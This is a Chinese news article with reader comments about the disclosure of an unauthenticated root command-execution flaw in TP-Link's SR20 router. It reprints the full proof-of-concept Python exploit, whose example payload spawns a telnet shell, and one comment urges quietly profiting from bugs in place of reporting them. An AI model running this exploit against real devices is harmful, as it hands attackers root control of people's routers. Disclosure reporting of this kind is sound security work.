TP-Link 不回应,安全工程师公开了其路由器漏洞

来源: OSCHINA
编辑: h4cd
2019-03-31

此前 Google 安全工程师在 TP-Link 的 SR20 智能家居路由器上发现了一个允许从本地网络连接执行任意命令的漏洞,他将问题报告给 TP-Link,但是经过了 90 天还没有得到官方的回应,于是他公开了该漏洞。

该问题由著名的 Google 安全工程师与开源贡献者 Matthew Garrett 披露,周三他公开的 38 行概念验证代码显示出在利用 SR20 的漏洞时可以使用 root 权限执行设备上的任何命令,并且无需身份验证。

Matthew 解释,TP-Link 路由器经常以 root 身份运行名为“tddp”(TP-Link Device Debug Protocol,TP-Link设备调试协议)的进程。它已经存在了多个漏洞,其中一个没有身份验证。

“SR20 暴露了一些第一个版本协议的命令,其中一个(命令 0x1f,请求 0x01)似乎是用于某种配置验证”,他说:“你发送文件和相应参数,收到命令后,路由器通过 TFTP 响应请求的机器,询问文件名,将其导入 Lua 解释器,以 root 身份运行,并将参数发送到导入文件中的 config_test() 函数。Lua os.execute() 方法传递一个由操作系统 shell 执行的命令。”

由于解释器以 root 身份运行,所以可以执行任意命令。

#!/usr/bin/python3

# Create /testfile in your tftp root directory with the following contents:
#
#function config_test(config)
#  os.execute("telnetd -l /bin/login.sh")
#end
#
# Replace 192.168.0.1 with the IP address of the vulnerable device

import binascii
import socket

port_send = 1040
port_receive = 61000

tddp_ver = "01"
tddp_command = "31"
tddp_req = "01"
tddp_reply = "00"
tddp_padding = "%0.16X" % 00

tddp_packet = "".join([tddp_ver, tddp_command, tddp_req, tddp_reply, tddp_padding])

sock_receive = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock_receive.bind(('', port_receive))

# Send a request
sock_send = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
packet = binascii.unhexlify(tddp_packet)
packet = packet + b"/testfile;arbitrary"
print(packet)
sock_send.sendto(packet, ("192.168.0.1", port_send))
sock_send.close()

response, addr = sock_receive.recvfrom(1024)
r = response.encode('hex')
print(r)
展开阅读全文
32 收藏
分享
加载中
精彩评论
干得非常好,怀恋之前的乌云网,这可是老外干的,鞭长莫及,哈哈
2019-03-31 10:41
24
举报
某地办事惯例,不用花时间与成本去解决发现的问题,而是去解决发现问题的人……
2019-03-31 19:30
8
举报

引用来自“smallwhite110”的评论

这种无所谓的吧。。得连上路由器才行
@smallwhite110 公共场所,不是可以为所欲为了
2019-03-31 11:41
8
举报
我以前以为TP-link是很牛逼的路由器,用过一个后,发现就是个坑
2019-03-31 11:53
5
举报
干得漂亮
2019-03-31 09:51
4
举报
最新评论 (20)

引用来自“孤星闵月”的评论

我以前以为TP-link是很牛逼的路由器,用过一个后,发现就是个坑

引用来自“久永”的评论

只是便宜而已。
早期都以为TP-link最好,现在才知道,其实都差不多。。还是要看配置和rom了
2019-04-01 18:21
0
回复
举报
国内企业对安全的重视程度本来就低,看看食品安全就知道了,更别说看不见摸不着的网络安全.制造业里那些开发工程师估计已经习惯了到点打开上下班了,至于这种建议意见邮件,他们估计早就忘得一干二净.
2019-04-01 15:26
0
回复
举报

引用来自“翻身码农把歌唱”的评论

某地办事惯例,不用花时间与成本去解决发现的问题,而是去解决发现问题的人……
那是某地,这是美国
2019-04-01 11:18
0
回复
举报
人家忙着996!没关系!
2019-04-01 09:55
0
回复
举报

引用来自“翻身码农把歌唱”的评论

干得非常好,怀恋之前的乌云网,这可是老外干的,鞭长莫及,哈哈
非常好?坑用户坑的非常爽吧?用户怎么办?
白左拿奖了,民众被屠杀。
2019-04-01 09:08
0
回复
举报

引用来自“孤星闵月”的评论

我以前以为TP-link是很牛逼的路由器,用过一个后,发现就是个坑
只是便宜而已。
2019-04-01 09:06
0
回复
举报
在国内,发现BUG不要报告,偷偷的谋利先挣一个亿,因为你一报告,他们就联合政府给你扣一个境外势力控制的间谍帽子,然后牢底坐穿
2019-04-01 08:53
1
回复
举报

引用来自“cc_z”的评论

是指老外发现BUG鞭长莫及,还是老外写的BUG鞭长莫及。
以前有一个发现bug好心给官方提醒,结果却被抓了,你不知道?
2019-03-31 21:23
2
回复
举报
以前有一个发现bug好心给官方提醒,结果却被抓了,你不知道?
2019-03-31 21:23
0
回复
举报

引用来自“孤星闵月”的评论

我以前以为TP-link是很牛逼的路由器,用过一个后,发现就是个坑
最坑的那都是TP-LINK,我们公司用TP-LINK小路由器(就算是24口的也有出现过),常见会因为路由器不稳定,导致网络风暴、瘫痪整个子网,只有你拔掉电源重启才好。后来通通换成华为华三。
2019-03-31 19:50
0
回复
举报
更多评论
20 评论
32 收藏
分享
返回顶部
顶部